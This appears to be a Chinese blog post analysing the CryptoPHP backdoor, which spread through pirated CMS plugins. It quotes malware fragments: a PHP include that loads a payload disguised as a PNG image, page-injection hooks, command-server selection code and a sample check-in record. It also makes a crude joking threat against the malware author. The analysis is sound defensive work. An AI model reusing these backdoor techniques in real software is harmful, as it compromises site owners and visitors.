CryptoPHP后门分析报告

杀戮 (有事请 at 大号园长) | 2014-11-28 16:08

简介

CryptoPHP最早由国外的小狐狸安全团队发现,并且发布了研究报告,由于报告死长死长的,一堆废话,我就不翻译了,就用我自己的话描述一遍。

当时研究员监控到客户的服务器对国外的域名进行了POST请求,客户服务器使用了国外著名的开源系统Joomla ,并且在这个之前管理员唯一可疑的行为就是安装了一个插件叫J-secure,但是来源是一个第三方网站。

[08/May/2014:12:44:10 +0100] "POST http://worldcute.biz/ HTTP/1.1" - - "-" "-"

PS:没有refer,没有USER-AGENT,虽然服务器总会发一些请求出现,但不会像这样。

研究员对多个第三方网站进行了调查,发现大量下载站中提供的开源系统插件被植入后门,我特意去国外的下载站下载了几个插件,发现后门近期刚进行了更新,应该是通过控制多个下载站,定期对后门进行版本更新,同时后门本身也具有版本跟新的功能。

网址: nulledstylez.com

1.jpg

可以很明显的看出日期的不同,查看Jsecure.php文件,发现被插入了

<?php include('images/social.png'); ?>

查看包含的图片:

658.jpg

小狐狸。。。不对。。。是FOX团队研究员对后门进行了分析,发现所具备的功能。

1. 后门开发中使用框架本身的函数。

2. 后门会将数据保存至数据库中。

3. 后门使用RSA加密与其他服务器进行通信。

4. 使用了大量的控制服务器,对后门服务器进行控制。

5. 支持直接由黑客进行手动控制。

6. 自动更新

7. 代码注入网页

8.代码执行

黑客对后门进行了大量开发使其支持嵌入Joomla ,WordPress,Drupal的插件。当后门被植入一个系统,后门会调用框架本身的函数添加一个管理员,来保证当后门被删除,黑客仍拥有网站的控制权限。

到现在为止后门已经经过多个版本跟新。

$ANVoslonRNQSwwQloQTx[ 'ver' ] = 1.0;

这是我手里的,目前最新版本是 1.0a 。

先来看看后门本身使用的开发技术,我指讲几个有亮点的。

后门本身使用了大量的框架本身的函数,比如

WordPress 的 add_action

add_action('wp_head', array( $this, 'JLKCxmYDqGERxDYMhmOj' ));

add_action('wp_footer', array( $this, 'JLKCxmYDqGERxDYMhmOj' ));

joomla 的JResponse:getBody() and JResponse:setBody()

$NEKXukygfLoADkopeheR = JResponse::getBody();

JResponse::setBody($NEKXukygfLoADkopeheR);

让我深深怀疑该黑客之前是做开源系统二次开发的.

通信

后门本身使用了RSA加密来保证只有黑客或者控制服务器能够对后门服务器进行操作。

整个过程  后门植入->生成标示符| 生成秘钥 ->发送到控制服务器 -> 控制服务器响应->后门通信完成

后门本身包含一份控制服务器的LIST,初始化的时候随机挑选一台进行通信,提供一份代码实例

private function randomize_domain($domains, $max_domains) {

      $count = count($domains);

       if ($count <= $max_domains) {

             return $domains;

       }

       $result[] = array();

       $domain_indexes = array();

       $domain_count = 0;

       $counter = 0;

       while (TRUE) {

          $counter++;

          $index = md5_index($this->domain . $counter, $count);

          if (in_array($index, $domain_indexes)) {

                    continue;

          }

          $domain_indexes[] = $index;

          $domain_count++;

          if ($domain_count == $max_domains) {

                break;

          }

        }

        foreach ($domain_indexes as $idx) {

                $result[] = $domains[$idx];

        }

        return $result;

}

private function md5_index($domain, $count) {

       $md5_domain = hash("md5", $domain);

       $index = (preg_replace("/[^0-9,.]/", "", $md5_domain));

       while ($index > 10000000) {

               $index /= 100000;

       }

       $index %= $count;

       return $index;

}

后门服务器请求示例:

{ "empty": 0, "eval": true, "exec": true, "host": "http://127.0.0.1/", "ip": "127.0.0.1", "last_connect": "20141116", "page": "index.php", "publicKey": "-----BEGIN PUBLIC KEY-----[snipped..]", "run": 4, "serverKey": "BtajD2R2yR", "started": "20141114", "type": 0, "ver": 1 }

其他没什么特点的东西就不说了,说个有趣的事吧。

小狐狸团队也对作者进行了追踪,发现了下面一段代码

if($_SERVER['HTTP_USER_AGENT']=='chishijen12') {

    error_reporting(E_ALL); ini_set('display_errors',1);

}

chishijen12 显然是一个作者的标示,因为看着怎么那么像拼音我就去查了查,结果发现这样的推特。

0327.jpg

意思就是 chishi在 中文的意思是"食物",不管怎么说,有机会见到他我就砍死他。

其中老外使用的控制服务器多搭几百台,中马的网站多达数十万,已经是僵尸网络的级别了。